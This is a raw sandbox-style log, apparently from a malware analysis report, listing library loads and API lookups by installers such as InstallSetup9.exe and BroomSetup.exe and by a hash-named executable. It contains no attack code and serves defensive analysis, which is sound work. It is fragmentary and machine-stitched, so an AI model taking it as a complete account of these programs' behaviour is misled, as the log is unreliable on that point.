SHELL32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter WININET (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00002856) "toolspub1.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00004224) "toolspub1.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004224) "toolspub1.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00004224) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter WINSTA.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00002512) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter WINSTA.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter colorui.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter comdlg32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter compstui.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter inetres.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter UXTHEME (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter User32 (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter WindowsCodecs.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\FileSyncShell.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\EhStorShell.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\MICROS~3\Office14\GROOVEEX.DLL (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\COMMON~1\MICROS~1\OFFICE14\Cultures\office.odf (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\MICROS~3\Office14\1033\GrooveIntlResource.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\imageres.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MSCTF.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter %APPDATA%\Temp\Task.bat (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004500) "BroomSetup.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00004500) "cmd.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003592) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter WINSTA.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003348) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002732) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002732)43:T15a46,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00000640) 